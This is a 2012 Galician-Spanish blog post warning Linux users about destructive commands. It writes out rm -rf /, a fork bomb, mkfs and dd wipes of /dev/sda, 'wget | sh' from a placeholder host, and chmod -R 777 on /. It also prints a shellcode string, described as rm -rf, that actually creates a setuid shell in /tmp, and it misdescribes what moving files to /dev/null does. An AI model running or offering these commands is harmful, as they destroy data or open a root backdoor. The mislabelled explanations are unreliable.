miércoles, 1 de agosto de 2012

Comandos peligrosos que debes conocer







Hai xente que se adica ao engano, pouca, pero haina. Na maioría dos foros linuxeros, casi todos os que respostan pretenden axudar, e soe ser gente moi altruista, interesante e, polo xeral, boa. Pero sempre te puedes atopar con algún listiño que queira engañarte. Hoxe voute a ensinar alguns comandos destructivos, para que os conozas, os entendas e non-os utilices nunca, a nos ser que estés parbo.

Eliminándo-o todo

En Linux temos un comando, exactamente este:
# rm -rf /
O cal se executa como root e que pode eliminar sin problemas todos teus arquivos do sistema, incluido o propio sistema. Vexamos seu efecto:
Como podedes comprobar, ao final do arquvo,si o facemos QUE NON O IMOS FACER ESTAMOS FALANDO POR FALAR EN MAQUINA VIRTUAL, o sistema se corrompeu bastante e, ao executar:
# ls
Diche que non existe ningún directorio.. increíble. Ben, este comando basease en tres partes, a primeira:
# rm
Este comando significa remove, (a saber BORRA) e se utiliza, simplemente, para eliminar cousas. En segundo lugar, temos:
# rm -rf
La opción r permite ao comando remove borrar os contidos dos directorios recursivamente, é decir, non soio borrar o que se lle indique, sinon todo o que teña dentro dél, de forma recursiva. E a opción f descarta os ficheiros que non existan, sin preguntar. É decir, que si un fichero non existe e non se pode eliminar, o comando seguirá eliminando, non se parará a preguntar. Por último, temos o terceiro componente clave:
# rm -rf /
Esa barra horizontal é o directorio raíz, o directorio que ten todo o sistema (anque tamén debemos ter en conta outros directorios importantes, como /boot), tanto o arranque, teu cartafol de usuario, imáxes, aplicacions… todo. Es decir, con este comando estamos borrando de forma recursiva y sin deterse, todo o sistema, non o perdádes de vista.
Además, tenemos sua versión en hexadecimal, que tampouco vos engañen con esta:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Formateando o sistema

Tamén temos un comando que fai unha función parecida ao do anterior:
# mkfs.ext3 /dev/sda
Reformateará a partición, liquidando todos os arquivos do dispositivo.

Bomba fork

Una bomba fork é unha forma de ataque de tipo DoS (causa que un servizo ou recurso sexa inaccesible a os usuarios) que implementa a operación fork (creación de una copia de sí mismo), ou algunha funcionalidade equivalente mediante a cual un proceso é capaz de crear outro proceso.
Resumindo, unha bomba fork é un proceso que se copia a si mismo moitas veces pra colapsar teu sistema. Y aclarando falsos mitos, non é unha bomba lóxica, nin tampouco un erro do kernel, ni moito menos se trata de algo liberado por un dos programadores do kernel.
Tería esta forma:
$ :( ){:|:&};:
Aunque puede ter varias, como por exemplo:
$ ubunteate(){ ubunteate|ubunteate& };ubunteate
Pero tal cosa podemos prevenirla, editando o arquivo adecuado:
$ sudo gedit /etc/security/limits.conf
Ahora localizaremos, ao final do arquivo, a seguinte línea:
# End of file
Pois xusto encima desa, podemos introducir a seguinte línea:
* hard nproc 1000
Quedando así as duas últimas líneas do archivo:
* hard nproc 1000
# End of file

Gardamos e pechamos o arquivo e listo.

Colapsando o sistema de arquivos

Si executamos:
# cualquier-comando > /dev/sda
Como por exemplo:
# ls > /dev/sda
Con este comando, se envían bloques de datos ao dispositivo indicado, o cal a miudo pode colapsar o sistema de arquivos, dando como resultado unha perda total de datos.

Ejecutar un script automáticamente

A veces, nunha web ou foro linuxero nos din que descarguemos un script, co siguinte comando:
$ wget http://web.com/script.sh O | sh
O peor aún, como root:
# wget http://web.com/script.sh O | sh
En realidade o que esto fai é descargar o script e tra-la sua descarga, executa-lo automáticamente, o cual puede ser infinitamente peligroso. maginar que eu programo un script con un dos comandos de este artículo, y te digo que lo descargues de esa forma, directamente tu sistema sería destruido, por fiarte de mi, debemos ter coidado con este tipo de cousas, descargalo de forma normal:
$ wget http://web.com/script.sh
E sempre mirar o código fuente, ou descargarlo todo sempre de webs fiables.

¿Eliminando?

Seguramente conozcáis el comando mv, que proviene de move (mover) y sirve para mover un archivo o directorio a otro directorio. Su estructura es la siguiente:
$ mv directorio-o-archivo-a-mover directorio-al-que-mover
Como por ejemplo:
$ mv ~/script.sh ~/Documentos
Pero debéis fijarse siempre, en que el directorio al que mover, es decir, el directorio donde vas a mover los archivos, jamás sea /dev/null, pues es un directorio inexistente, y jamás podrás obtener de nuevo esos archivos, por ejemplo:
$ mv ~/script.sh /dev/null
Eso hará desaparecer para siempre el script. Pero aún es peor si ejecutas, por ejemplo:
$ mv ~ /dev/null
Lo cual eliminará para siempre tu carpeta de usuario, con tus imágenes, vídeos, música, documentos, etc. Podemos comprobar la no existencia de ese directorio, vayamos primero al directorio /dev, el cual, supuestamente aloja null.:
$ cd /dev
Lo cual no genera ningún problema, y vamos a buscar ahora null:
$ ls
Lista demasiado grande para ponerse a buscar, mejor facilitarnos la vida:
$ ls | grep null
Si nos devuelve null, que lo hará, es que existe, pero eso no nos confirma que sea una carpeta, para ello utilizaremos:
$ ls -d
Que solo nos mostrará las carpetas, aunque también podemos filtrarlo por la palabra null:
$ ls -d | grep null
Y no os devolverá nada, porque no ha encontrado null como carpeta. Aún podéis probar:
$ cd null
Y os dirá que no es un directorio. Por lo tanto, fijaos bien cuando mováis algo.

Re-enchendo o disco duro

También dispomos dun comando en Linux:
# dd if=/dev/urandom of=/dev/sda
Que simplemente "rellena" con datos aleatorios todo o espacio valeiro no disco duro, o cal, como podéis imaginar, xenera un caos tremendo no sistema.

Dou-che permiso para facer o que queiras

Tamén debemos de ter coidado a la hora de dar permisos aos directorios e a os cartafois, como por exemplo:
# chmod -R 777 /
Este comando da permisos totais a todos os directorios do sistema, xa que o comando chmod é o encargado de dar permisos, a opción R da permiso a todo o contido no directorio, 777 é o mayor permiso posible, realmente inseguro e, a barrita, como dixemos anteriormente, é "RAIZ" ou sexa,  todo el sistema. Esto daría permiso a calquer axente de facer o que sexa co teu sistema, cuidado co trío dos 7 y ónde os aplicas.

Te quito todos los permisos

Aunque también temos a otra variante:
# chmod -R 000 /
A dos tres ceros, que o que fai é eliminar todos os accesos privilexiados a todos los usuarios no sistema.



No hay comentarios:

Publicar un comentario